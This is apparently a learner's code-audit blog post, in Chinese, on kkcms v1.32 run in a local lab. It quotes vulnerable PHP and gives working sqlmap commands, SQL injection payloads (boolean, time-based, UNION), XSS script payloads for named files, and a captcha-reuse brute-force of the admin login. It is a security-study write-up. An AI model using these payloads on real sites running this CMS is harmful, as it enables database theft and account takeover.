继初次选择xhcms审计审计之后,对代码审计来了兴趣,一处处分析,经历失败,重来,最后找到漏洞点的过程确实很不错。
因此,在喜欢xhcms审计结束后就马不停蹄找了个小众一点的cms再开启一次审计,熟悉熟悉,之后计划开始浮现tp,yii之类框架内容,且行且记吧。
审计过程 一、环境安装 直接去github搜一搜kkcms源码,我这里选择了较老的版本:
kkcms-v1.32
github源码地址:https://github.com/erichuang2015/kkcms
安装环境:
使用phpstudy 5.6.27+mysql5.5.53进行搭建(这个cms版本比较老,用php高版本会出问题)。下载后,源码解压到phpstudy根目录,启动phpstudy,访问并安装即可。
ps:(安装时记得提前在phpstudy中mysql管理创建一个数据库(我这里创建一个kkcms数据库使用))
出现这样的界面就安装完成了:
二、先看看目录结构,了解下整体情况
都是些常见目录结构,这里就不一一介绍了。先直接丢进seay审计工具中看一下:
还不少,224个可疑点,那就以这个为线索,慢慢来看:
三、漏洞 SQL注入 ucenter/reg.php seay报警此文件存在sql注入漏洞,打开看一下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include ('../system/inc.php' );if (isset ($_SESSION ['user_name' ])){header ('location:index.php' );}; if (isset ($_POST ['submit' ])){$username = stripslashes (trim ($_POST ['name' ]));$query = mysql_query ("select u_id from xtcms_user where u_name='$username '" );if (mysql_fetch_array ($query )){echo '<script>alert("用户名已存在,请换个其他的用户名");window.history.go(-1);</script>' ;exit ;} $result = mysql_query ('select * from xtcms_user where u_email = "' .$_POST ['email' ].'"' );if (mysql_fetch_array ($result )){echo '<script>alert("邮箱已存在,请换个其他的邮箱");window.history.go(-1);</script>' ;exit ;}
stripslashes()函数
stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
提示: 该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。
trim()函数
trim() 函数移除字符串两侧的空白字符或其他预定义字符(默认为NULL、\t、\n、\r、空格等)。
$username变量经过stripslashes() 函数和trim()函数处理后,单引号包裹带入查询,那么有去除反斜杠,前面因该有addlashes()函数添加反斜杠才对:因此追踪包含文件,**../system/inc.php**
1 2 3 4 5 6 7 <?php require_once ('conn.php' );require_once ('library.php' );require_once ('function.php' );require_once ('config.php' );?>
一个个查看,最后在**../system/library.php**文件中看到:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php if (!defined ('PCFINAL' )) { exit ('Request Error!' ); } if (!get_magic_quotes_gpc ()) { if (!empty ($_GET )) { $_GET = addslashes_deep ($_GET ); } if (!empty ($_POST )) { $_POST = addslashes_deep ($_POST ); } $_COOKIE = addslashes_deep ($_COOKIE ); $_REQUEST = addslashes_deep ($_REQUEST ); } function addslashes_deep ($_var_0 ) { if (empty ($_var_0 )) { return $_var_0 ; } else { return is_array ($_var_0 ) ? array_map ('addslashes_deep' , $_var_0 ) : addslashes ($_var_0 ); } }
定义了addslashes_deep()方法对请求变量进行了转义处理,对预定义符号转义来防注入等攻击,但是。。。。问题来了,联系前面的ucenter/reg.php文件stripslashes()函数 的处理,那不就是来了个负负得正吗?先添加转义,然后去除转义,带入查询,相当于没有进行防护,造成注入危险。
直接sqlmap一把梭:抓包保存,sqlmapPOST注入打一下:
可以看到已经成功注入出了数据库,后续时间关系就不等他注完了
payload:
1 2 3 4 5 python2 sqlmap.py - r D:\python27\sqlmap\aa.txt - p name 布尔: name= 1 ' AND 2309=2309 AND ' tslg'=' tslg& email= 1 @qq .com& password= 111 & submit= 时间: name= 1 ' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND ' XUOn'=' XUOn& email= 1 @qq .com& password= 111 & submit=
那么同样的思路,是不是所有引用了stripslashes()函数的地方都应该有同样的漏洞呢?想到就试试:全局搜索stripslashes()有:
果然有发现,进去文件详细审查一下:
ucenter/active.php 1 2 3 4 5 6 <?php include ('../system/inc.php' );$verify = stripslashes (trim ($_GET ['verify' ]));$nowtime = time ();$query = mysql_query ("select u_id from xtcms_user where u_question='$verify '" );$row = mysql_fetch_array ($query );
ucenter/repass.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php include ('../system/inc.php' );if (isset ($_SESSION ['user_name' ])){header ('location:index.php' );}; if (isset ($_POST ['submit' ])){$username = stripslashes (trim ($_POST ['name' ]));$email = trim ($_POST ['email' ]);$query = mysql_query ("select u_id from xtcms_user where u_name='$username ' and u_email='$email '" );if (!! $row = mysql_fetch_array ($query )){$_data ['u_password' ] = md5 (123456 );$sql = 'update xtcms_user set ' .arrtoupdate ($_data ).' where u_name="' .$username .'"' ;if (mysql_query ($sql )) {
wap/login.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php include ('../system/inc.php' );$op =$_GET ['op' ];if (isset ($_POST ['submit' ])){ null_back ($_POST ['u_name' ],'请输入用户名' ); null_back ($_POST ['u_password' ],'请输入密码' ); $u_name = $_POST ['u_name' ]; $u_password = $_POST ['u_password' ]; $sql = 'select * from xtcms_user where u_name = "' .$u_name .'" and u_password = "' .md5 ($u_password ).'" and u_status=1' ; $result = mysql_query ($sql ); if (!! $row = mysql_fetch_array ($result )){ $_data ['u_loginnum' ] = $row ['u_loginnum' ]+1 ; $_data ['u_loginip' ] =$_SERVER ["REMOTE_ADDR" ]; $_data ['u_logintime' ] =date ('y-m-d h:i:s' ,time ()); if (!empty ($row ['u_end' ])) $u_end = $row ['u_end' ]; if (time ()>$u_end ){ $_data ['u_flag' ] =="0" ; $_data ['u_start' ] =="" ; $_data ['u_end' ] =="" ; $_data ['u_group' ] =1 ; }else { $_data ['u_flag' ] ==$row ["u_flag" ]; $_data ['u_start' ] ==$row ["u_start" ]; $_data ['u_end' ] ==$row ["u_end" ]; $_data ['u_group' ] =$row ["u_group" ]; } mysql_query ('update xtcms_user set ' .arrtoupdate ($_data ).' where u_id ="' .$row ['u_id' ].'"' ); $_SESSION ['user_name' ]=$row ['u_name' ]; $_SESSION ['user_group' ]=$row ['u_group' ]; if ($_POST ['brand1' ]){ setcookie ('user_name' ,$row ['u_name' ],time ()+3600 * 24 * 365 ); setcookie ('user_password' ,$row ['u_password' ],time ()+3600 * 24 * 365 ); } header ('location:user.php' ); }else { alert_href ('用户名或密码错误或者尚未激活' ,'login.php?op=login' ); } } if (isset ($_POST ['reg' ])){$username = stripslashes (trim ($_POST ['name' ]));$query = mysql_query ("select u_id from xtcms_user where u_name='$username '" );
这三个文件中都引用了同一个**../system/inc.php文件,即用addslashes_deep()方法进行变量转义处理防注入,且可控变量都同样经过stripslashes()逆转义处理,也就是同样的“ 负负得正**”,因此,这三个文件中都一定存在如上的sql注入漏洞。这里就不进行重复造轮子去复现了。
template/wapian/vlist.php seay报sql注入,打开代码瞧瞧,关键处:
1 2 3 4 5 6 7 8 9 10 <?php if ($_GET ['cid' ] != 0 ){ ?> <?php $result = mysql_query ('select * from xtcms_vod_class where c_pid=' .$_GET ['cid' ].' order by c_sort desc,c_id asc' );while ($row = mysql_fetch_array ($result )){ echo '<a href="./vlist.php?cid=' .$row ['c_id' ].'" class="acat" style="white-space: pre-wrap;margin-bottom: 4px;">' .$row ['c_name' ].'</a>' ; } ?>
这里对**$_GET[‘cid’]变量进行一个判断,不为零就直接单引号包裹带入查询中,这简直就是没有任何防护,那么,根据前面的经验,只要没有引用 ../system/inc.php**文件,即用addslashes_deep()方法进行变量转义处理防注入,那么不久可以直接开始注入了?看看去:
1 2 3 4 5 6 7 8 9 10 11 12 13 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" > <html xmlns="http://www.w3.org/1999/xhtml" > <head> <?php include 'head.php' ;?> <title>视频列表-<?php echo $xtcms_seoname ;?> </title> <meta name="keywords" content="视频排行,<?php echo $xtcms_keywords ;?>" > <meta name="description" content="<?php echo $xtcms_description ;?>" > </head> <body > <?php include 'header.php' ; ?> <div class ="container "> <div class ="row " style ="margin -top :10px "><?php echo get_ad (18)?></div > <div class ="row ">
向上查找,到文件头,果然没有发现任何引用**../system/inc.php**文件的迹象,hahaha,注入到手咯,实现一下:
直接访问文件路径,截取GET变量cid,sqlmap梭一把,
1 python2 sqlmap.py -u "http://127.0.0.1/template/wapian/vlist.php?cid=1" --dbs --batch
直接出结果,下一个
admin/cms_backup.php seay报注入漏洞,我们先看看关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $q1 =mysql_query ("show tables" );while ($t =mysql_fetch_array ($q1 )){ $table =$t [0 ]; $q2 =mysql_query ("show create table `$table `" ); $sql =mysql_fetch_array ($q2 ); $mysql .=$sql ['Create Table' ].";\r\n" ; $q3 =mysql_query ("select * from `$table `" ); while ($data =mysql_fetch_assoc ($q3 )){ $keys =array_keys ($data ); $keys =array_map ('addslashes' ,$keys ); $keys =join ('`,`' ,$keys ); $keys ="`" .$keys ."`" ; $vals =array_values ($data ); $vals =array_map ('addslashes' ,$vals ); $vals =join ("','" ,$vals ); $vals ="'" .$vals ."'" ; $mysql .="insert into `$table `($keys ) values($vals );\r\n" ; } }
array_map() 函数
将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组。
提示: 您可以向函数输入一个或者多个数组。array_map(myfunction,array1,array2,array3 …)
可以看到,$vals变量经过array_map() 函数 处理后,全部经过了addlashes()转义处理来防止注入(addslashes() 函数返回在预定义字符(单·双引号、反斜杠(\)、NULL)之前添加反斜杠的字符串。 ),之后经过**$vals=”‘“.$vals.”‘“;语句处理,添加单引号包裹,就完全杜绝了sql注入的可能性,无法构造闭合。( ps:要是这里没有添加单引号,此处语句括号闭合不在该函数的预定义字符内,则就实际上等于没有防护到,还是可以注入,十分可惜)。另一个变量 $keys**几乎是一样的情况,甚至防护更严格,因此也不存在注入,综上,此处属于seay的误报。
不纠结,下一处:
/template/wapian/vlist.php 直接看关键代码:
1 2 3 4 5 6 7 8 9 10 <?php if ($_GET ['cid' ] != 0 ){ ?> <?php $result = mysql_query ('select * from xtcms_vod_class where c_pid=' .$_GET ['cid' ].' order by c_sort desc,c_id asc' );while ($row = mysql_fetch_array ($result )){ echo '<a href="./vlist.php?cid=' .$row ['c_id' ].'" class="acat" style="white-space: pre-wrap;margin-bottom: 4px;">' .$row ['c_name' ].'</a>' ;} ?>
对$_GET[‘cid’]变量,不经过滤,直接单引号包裹,文件头没有引入转义函数文件,带入查询,典型的sql注入:sql注入(但是这里审计出来的代码闭合方式应该是单引号闭合,但是测试却失败了,这是怎么回事?)sqlmap跑一下看看:
1 python2 sqlmap.py -u "http://127.0.0.1/template/wapian/vlist.php?cid=1" --dbs --batch
可以看到,注出了数据库,payload:
1 cid= 1 ) UNION ALL SELECT NULL ,NULL ,CONCAT(0x7162717a71 ,0x4572725a7062476e5a734c4f51454742724f4579755449744967454b6a695461545a4857576a7952 ,0x7170706271 ),NULL ,NULL ,NULL ,NULL ,NULL ,NULL ,NULL ,NULL ,NULL ,NULL ,NULL ,NULL ,NULL ,NULL
(闭合竟然是小括号?)这是为什么?先放过,之后再来研究。
visit.php 这个文件有注入漏洞,那么自然有理由推断,引用这个文件的文件也有相同的漏洞,所以全局搜索template/wapian/vlist.php文件,然后发现:
在很多文件如:
seacher.php, tv.php, ustv.php, wxseacher.php,vlist.php等文件中都有相同引用:
1 include ('template/' .$xtcms_bdyun .'/wxseacher.php' );
这里的**$xtcms_bdyun向上回溯实际上就是wapian,是从xtcms_vod_class这个数据库表中查询出的数据,因此是固定的。但是,在这些文件中,大部分都有关于 include(‘system/inc.php’);文件的引用,我们知道system/inc.php文件中又有 require_once(‘function.php’);**文件的引用,即进行转义处理,也就断绝了sql注入。而只有visit.php这个文件中,代码如下:
1 2 3 4 5 6 7 8 9 <?php if ($_GET ['cid' ] != 0 ){ ?> <?php $result = mysql_query ('select * from xtcms_vod_class where c_pid=' .$_GET ['cid' ].' order by c_sort desc,c_id asc' );while ($row = mysql_fetch_array ($result )){ echo '<a href="./vlist.php?cid=' .$row ['c_id' ].'" class="acat" style="white-space: pre-wrap;margin-bottom: 4px;">' .$row ['c_name' ].'</a>' ; } ?>
并没有对转义文件的引用,因此肯定存在该注入漏洞,直接sqlmap 跑一下,即可。
admin/cms_book_edit.php 1 2 3 4 <?php $result = mysql_query ('select * from xtcms_book where id = ' .$_GET ['id' ].'' );if ($row = mysql_fetch_array ($result )){?>
有数据库交互,单引号闭合,不过文件头引入了**../system/inc.php**文件进行转义防注入处理,因此属于seay误报,同样的情况在
1 2 admin/cms_ad_edit.php admin/cms_admin_edit.php
等文件中也相同出现,都有转义引用,而没有stripslashes() 函数去除预定义字符的处理,因此这写文件中的报洞都属于误报。
admin/youlian_edit.php 1 2 3 4 5 6 7 8 9 10 11 12 <?php if (isset ($_POST ['save' ])) { $_data ['content' ] = $_POST ['content' ]; $_data ['Reply' ] = $_POST ['Reply' ]; $sql = 'update xtcms_youlian set ' . arrtoupdate ($_data ) . ' where id = ' . $_GET ['id' ] . '' ; if (mysql_query ($sql )) { alert_href ('修改成功!' , 'cms_youlian.php' ); } else { alert_back ('修改失败!' ); } }
**$_GET[‘id’]**变量单引号闭合带入查询,且文件未引入转移保护,存在注入,sqlmap直接跑:
1 python2 sqlmap.py -u "http://127.0.0.1/admin/youlian_edit.php?id=1" --dbs --batch
直接出数据库
admin/ad_edit.php 引用了模块文件admin/model/ad_edit.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php if (isset($_GET['del' ])) { $sql = 'delete from xtcms_ad where id = ' . $_GET['del' ] . '' ; if (mysql_query($sql)) { alert_href('删除成功!' , 'cms_ad.php' ); } else { alert_back('删除失败!' ); } } if (isset($_POST['save' ])) { null_back($_POST['title' ], '请填写广告名称' ); $data['title' ] = $_POST['title' ]; $data['pic' ] = $_POST['pic' ]; $data['url' ] = $_POST['url' ]; $data['catid' ] = $_POST['catid' ]; $sql = 'update xtcms_ad set ' . arrtoupdate($data) . ' where id = ' . $_GET['id' ] . '' ; if (mysql_query($sql)) { alert_href('广告修改成功!' , 'cms_ad.php' ); } else { alert_back('修改失败!' ); } }
同样的问题,可控变量直接拼接进查询,没有任何过滤,同样没有引入转义函数文件,应该存在注入,直接sqlmap一把梭。(而且这里还不只$_GET[‘id’]一个变量,还有$_GET[‘del’]变量可以同样的方式利用来注入)
payload:
1 python2 sqlmap.py -u "http://127.0.0.1/admin/ad_edit.php?id(或者del)=1" --dbs --batch
/admin/cms_usergroup.php 引用模块文件admin/model/usergroup.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php if ($_GET ['del' ] == 1 ) { alert_back ('默认会员组不能删除!' ); } else { if (isset ($_GET ['del' ])) { $sql = 'delete from xtcms_user_group where ug_id = ' . $_GET ['del' ] . '' ; if (mysql_query ($sql )) { alert_href ('删除成功!' , 'cms_usergroup.php' ); } else { alert_back ('删除失败!' ); } } } if (isset ($_POST ['save' ])) { null_back ($_POST ['ug_name' ], '请填写名称' ); $data ['ug_name' ] = $_POST ['ug_name' ]; $str = arrtoinsert ($data ); $sql = 'insert into xtcms_user_group (' . $str [0 ] . ') values (' . $str [1 ] . ')' ; if (mysql_query ($sql )) { alert_href ('添加成功!' , 'cms_usergroup.php' ); } else { alert_back ('添加失败!' ); } }
一模一样的问题,但是这个主文件**/admin/cms_usergroup.php**中引用了转义文件来防注入,此处又进行了单引号包裹,应该是杜绝了sql注入的道路了呀,但是我看网上的师傅们又直接用类似
1 2 3 4 5 id= 1 % 20 and % 20 ascii(left (database(),1 ))= 106 id= 1 % 20 and % 20 ascii(left (database(),1 ))= 107 证明数据库第一个字母为k 或者 ?del= 2 % 20 and % 20 sleep(10 )延时
的payload 成功进行了sql注入,我进行复现也确实能做到,可这和前面的分析互相矛盾了呀,这是为什么呢?有大师傅知道可以讲解一下吗?
那么按照相同的思路,去查找到了后台所有的删除有关的文件,发现情况都是一样,因此这个cms存在一个全后台的delete删除的注入漏洞。
XSS /youlian.php 存储型xss 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php include ('system/inc.php' );if (isset ($_POST ['submit' ])){null_back ('admin' ,'.' ); null_back ($_POST ['content' ],'你的链接及网站名' ); $data ['userid' ] = $_POST ['userid' ]; $data ['content' ] =addslashes ($_POST ['content' ]); $data ['time' ] =date ('y-m-d h:i:s' ,time ()); $str = arrtoinsert ($data ); $sql = 'insert into xtcms_youlian (' .$str [0 ].') values (' .$str [1 ].')' ; if (mysql_query ($sql )){ alert_href ('申请成功!请耐心等待管理员核实!谢谢!' ,'youlian.php' );} else {alert_back ('申请失败!请联系网站底部邮箱申请吧!' ); }
引入转义文件转义防sql注入,变量content经过**null_back()函数处理,(该函数可以全局搜索到定义,作用是判断字符串内容是否为空,没有任何过滤)又使用addlashes()方法处理变量,防注入,其他变量都没问题,但这个 $_POST[‘content’]**变量,不是又经过了双层转义处理?那么对xss的防御效果自然就没了,而且这里和后台交互,应该可以形成一个存储型xss:
payload:
1 <script>alert(/123456/)</script>
留言,然后进后台查看,成功弹窗,存储型xss一枚:
同样的思路,直接全局搜索
直接输出的地方是xss常出现的地方:
有收获,一个个看:
/admin/cms_kamilist.php 反射型xss 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include ('../system/inc.php' );include ('cms_check.php' );error_reporting (0 );?> <?php include ('inc_header.php' ) ?> <!-- Start: Content --> <div class ="container -fluid content "> <div class ="row "> <?php include ('inc_left .php ') ?> 。。。。 。。。。 。。。。 <a class ="btn btn -info " href ="cms_dao .php <?php if (isset ($_GET ['id '])) { echo '?cpass=' .$_GET ["id" ];}?> "><span class=" icon-plus-square">导出</span></a> </div>
中间不重要,我们直接省略,看关键位置。**$_GET[‘id’]**变量经过判断,若果存在,引入转义文件过滤预定义字符(但我们知道,该方法对xss的防御力几近于无)然后对变量直接输出,这就造成了一个简单的反射型xss
构造闭合payload,成功get一枚反射性xss
1 ?id="><script>alert(/1/)</script>
同样的方法
/wap/shang.php 反射型xss 同样的漏洞原理,这里就不赘述了,直接看效果
payload:
1 ?fee=<script>alert (/wowoowo/)</script>
/wap/movie.php /wap/tv.php /wap/zongyi.php /wap/dongman.php 反射型xss 这几个文件都有同样的xss漏洞,形成原理也一样,就拿其中一个进行分析。查看movie.php 里的内容。
1 2 3 4 5 6 7 8 9 10 11 <?php include ('../system/inc.php' );include '../system/list.php' ;$page =$_GET ['page' ];?> <?php $b =(strpos ($_GET ['m' ],'rank=' ));$ye =substr ($_GET ['m' ],$b +5 );?> <a <?php if ($ye =="rankhot" ){echo 'class="on"' ;}elseif ($ye =="createtime" or $ye =="rankpoint" ){}else { echo 'class="on"' ;};?> href="?m=/dianying/list.php?rank=rankhot" >最近热映</a> <a <?php if ($ye =="createtime" ){echo 'class="on"' ;}else {};?> href="?m=/dianying/list.php?rank=createtime" >最新上映</a> <a <?php if ($ye =="rankpoint" ){echo 'class="on"' ;}else {};?> href="?m=/dianying/list.php?rank=rankpoint" >最受好评</a>
发现了$_GET[‘page’]和$_GET[‘m’]变量,并引入转义文件进行转义防注入处理(sql),看来有戏,找找输出:
1 <?php echo getPageHtml ($page ,$fenye ,'movie.php?m=' .$yourneed .'&page=' );?>
根进getpageHtml函数 文件在system/function.php,仔细查看发现它并没有对传参进行完整的过滤,因此也就造成了XSS漏洞,但还是没找到输出点,怎么办?
没办法,只好结合黑盒方法,访问页面,关键字查找输出点了:访问:
1 http://127.0.0.1//wap/movie.php?m=aaa
然后ctrl+F,查找(?m=aaa),终于发现输出点:
1 <a style="background:#FF9900;" ><font color="#fff" >1 </font></a></li><li><a href="movie.php?m=aaa&page=2" >2 </a></li><li><a href="movie.php?m=aaa&page=3" >3 </a>
构造闭合,打一打:
1 payload: ?m="><script>alert(/wowowo/)</script>
成功弹窗,反射型xss到手
/book.php 和/wap/book.php 存储型xss 查看文件,关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php include ('../system/inc.php' );if (isset ($_POST ['submit' ])){null_back ($_POST ['userid' ],'请输入姓名' ); null_back ($_POST ['content' ],'请输入内容' ); $data ['userid' ] = $_POST ['userid' ]; $data ['content' ] =addslashes ($_POST ['content' ]); $data ['time' ] =date ('y-m-d h:i:s' ,time ()); $str = arrtoinsert ($data ); $sql = 'insert into xtcms_book (' .$str [0 ].') values (' .$str [1 ].')' ; if (mysql_query ($sql )){ alert_href ('留言成功!小的马上为您准备相关资源!' ,'book.php' );} else {alert_back ('抱歉!服务器好像开小差了呢!' ); } } ?> ..... ..... ..... <?php $sqll = 'select * from xtcms_book order by id desc' ;$pager = page_handle ('page' ,20 ,mysql_num_rows (mysql_query ($sqll )));$result = mysql_query ($sqll .' limit ' .$pager [0 ].',' .$pager [1 ].'' );($row = mysql_fetch_array ($result )){ ?> <div class ="stui -pannel stui -pannel -bg clearfix "><div class ="stui -pannel -box clearfix "><div class ="col -pd clearfix "><ul ><li class ="topwords "><strong ><u ><?php echo $row ['userid '] ?></u > 说:</strong ></li ><li class ="top -line " style ="margin -top : 10px ; padding : 10px 0;"><?php echo $row ['content '] ?><br /><font color =red ></font > </li ></ul ></div ></div ></div ><hr ><?php } ?> <ul class ="stui -page text -center "><div style ='margin :50px auto ;text -align :center '> <?php echo page_show ($pager [2],$pager [3],$pager [4],2);?>
对传入的$_POST[‘content’]变量经过null_back()、addslashes()等方法进行处理,又引入转义文件转义处理,同样的情况我们在之前的***/youlian.php 存储型xss部分已经提到过,即经过一系列处理,该变量实际上进行了一次我称之为“ 负负得正 *”的转义操作,相当于没有防范,又和后端数据库进行了交互,所以此处就形成了一个存储型xss,访问该文件,构造闭合,形成payload进行攻击尝试:
1 </li><script>alert (/wowo/)</script>
再想,这里是留言板,那么后台应该也会引用这里的留言内容,方便管理员进行管理,因此查找到后台对应文件:
/admin/cms_book.php 存储型xss 访问,果然弹窗。
具体代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php include('../system/inc.php' ); include('cms_check.php' ); error_reporting(0 ); include('model/book.php' ); ?> <?php include('inc_header.php' ) ?> 。。。。 。。。。 。。。。 <?php $sql = 'select * from xtcms_book order by id desc' ; $pager = page_handle('page' ,20 ,mysql_num_rows(mysql_query($sql))); $result = mysql_query($sql.' limit ' .$pager[0 ].',' .$pager[1 ].'' ); while ($row= mysql_fetch_array($result)){?> <tr> <td><div class ="checkbox-custom checkbox-default" > <input type ="checkbox" name="id[]" value="<?php echo $row['id'] ?>" /> <label for ="checkboxExample2" ></label> </div></td> <td><?php echo $row['content' ] ?></td> <td><?php echo $row['userid' ] ?></td> <td> <?php echo $row['time' ] ?> <td><a class ="btn btn-danger" href="cms_book_edit.php?id=<?php echo $row['id']?>" > <div class ="page_show" ><?php echo page_show($pager[2 ],$pager[3 ],$pager[4 ],2 );?> </div> <?php include('inc_footer.php' ) ?>
逻辑就是将之前存在数据库中的留言直接取出,引入对xss无用的转移文件处理,检查登录状态,之后直接将取出的数据输出,这就复合上面的分析,形成了一个存储型的前台后台通吃的xss漏洞。
/wx_api.php 反射性xss 1 2 3 4 5 6 7 public function valid ( ) { $echoStr = $_GET ["echostr" ]; if ($this ->checkSignature ()){ echo $echoStr ; exit ; }
接收$_GET[“echostr”]变量,经checkSignature()方法处理后,直接输出,而checkSignature()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 private function checkSignature ( ) { if (!defined ("TOKEN" )) { throw new Exception ('TOKEN is not defined!' ); } $signature = $_GET ["signature" ]; $timestamp = $_GET ["timestamp" ]; $nonce = $_GET ["nonce" ]; $token = TOKEN; $tmpArr = array ($token , $timestamp , $nonce ); sort ($tmpArr , SORT_STRING); $tmpStr = implode ( $tmpArr ); $tmpStr = sha1 ( $tmpStr ); if ( $tmpStr == $signature ){ return true ; }else { return false ; } }
其中并没有对变量的具体内容的过滤,因此这就是一个简单的反射型xss:
payload: 成功弹窗
1 ?echostr=<script>alert (/wowowo/)</script>&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709
xss找了这么多,很多都是在重复造轮子(这个cms版本很老),没意思,找找别的漏洞看看:
验证码重用 /admin/cms_login.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php require_once ('../system/inc.php' );if (isset ($_POST ['submit' ])){ if ($_SESSION ['verifycode' ] != $_POST ['verifycode' ]) { alert_href ('验证码错误' ,'cms_login.php' ); } null_back ($_POST ['a_name' ],'请输入用户名' ); null_back ($_POST ['a_password' ],'请输入密码' ); null_back ($_POST ['verifycode' ],'请输入验证码' ); $a_name = $_POST ['a_name' ]; $a_password = $_POST ['a_password' ]; $sql = 'select * from xtcms_manager where m_name = "' .$a_name .'" and m_password = "' .md5 ($a_password ).'"' ; $result = mysql_query ($sql ); if (!! $row = mysql_fetch_array ($result )){ setcookie ('admin_name' ,$row ['m_name' ]); setcookie ('admin_password' ,$row ['m_password' ]); header ('location:cms_welcome.php' ); }else { alert_href ('用户名或密码错误' ,'cms_login.php' ); } } ?>
在登陆界面检验session和传入的verifycode是否相等,如果访问失败,就会会进行刷新跳转,然后重新执行一次JS代码,
搜索关键词,看看这个js是干嘛的,在**../system/verifycode.php**文件中,发现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php session_start ();$image = imagecreate (50 , 34 );$bcolor = imagecolorallocate ($image , 0 , 0 , 0 );$fcolor = imagecolorallocate ($image , 255 , 255 , 255 );$str = '0123456789' ;$rand_str = '' ;for ($i = 0 ; $i < 4 ; $i ++){ $k = mt_rand (1 , strlen ($str )); $rand_str .= $str [$k - 1 ]; } $_SESSION ['verifycode' ] = $rand_str ;imagefill ($image , 0 , 0 , $bcolor );imagestring ($image , 7 , 7 , 10 , $rand_str , $fcolor );header ('content-type:image/png' );imagepng ($image );?>
js引用该文件生成四位随机数作为验证码,这里有一点就是:burp默认不解析js ,而文件中也没有时间限制,那么我们就可以用burp抓包,摒除js,重用该验证码对后台密码进行爆破,实现一下:
添加爆破位置
我这里为了演示效果,因此字典里我就随便写几个密码,把正确密码放进去,进行爆破演示
可以看到,成功爆破出后台密码123456.
上传漏洞 到这里,我能找到的关于这个cms的漏洞就结束了,另外,在网上看到师傅们还发现有一个上传漏洞,分析我就不献丑了,链接给出来,大家可以参考一下
https://blog.csdn.net/qq_44713013/article/details/122187203?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-0.pc_relevant_default&spm=1001.2101.3001.4242.1&utm_relevant_index=2
最后回顾
这次这个cms代码审计,整体比第一次要熟悉了不少,审出了一些sql和存储xss漏洞,还是不错的。但是同时,也暴露了很多问题,比如php代码功底不够,对很多函数一知半解,甚至完全没有认识,这就导致不停的查查查,效率狂降,心态爆炸。
另外,这次审计中还留下了两个问题有待研究,去好好学习一下,之后有机会一定还要再来回顾这个cms的审计,期待可以发现更多的问题。
还有,有一点想法,程序员在写代码结构的时候一定要注意统观全局,否则就容易出现这个cms中“负负得正 ”逻辑错误,导致防护到最后白干一场。